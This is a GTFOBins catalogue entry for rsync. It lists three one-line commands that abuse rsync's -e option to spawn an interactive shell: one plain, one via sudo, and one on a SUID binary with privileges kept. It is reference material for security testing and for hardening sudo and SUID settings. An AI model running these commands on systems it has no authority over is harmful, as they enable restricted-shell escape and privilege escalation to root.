GTFOBins.github.io/_gtfobins/rsync.md

10 lines
345 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
execute-interactive:
- code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
2018-08-17 17:16:09 +02:00
sudo-enabled:
- code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
suid-enabled:
- code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
2018-08-17 17:16:09 +02:00
---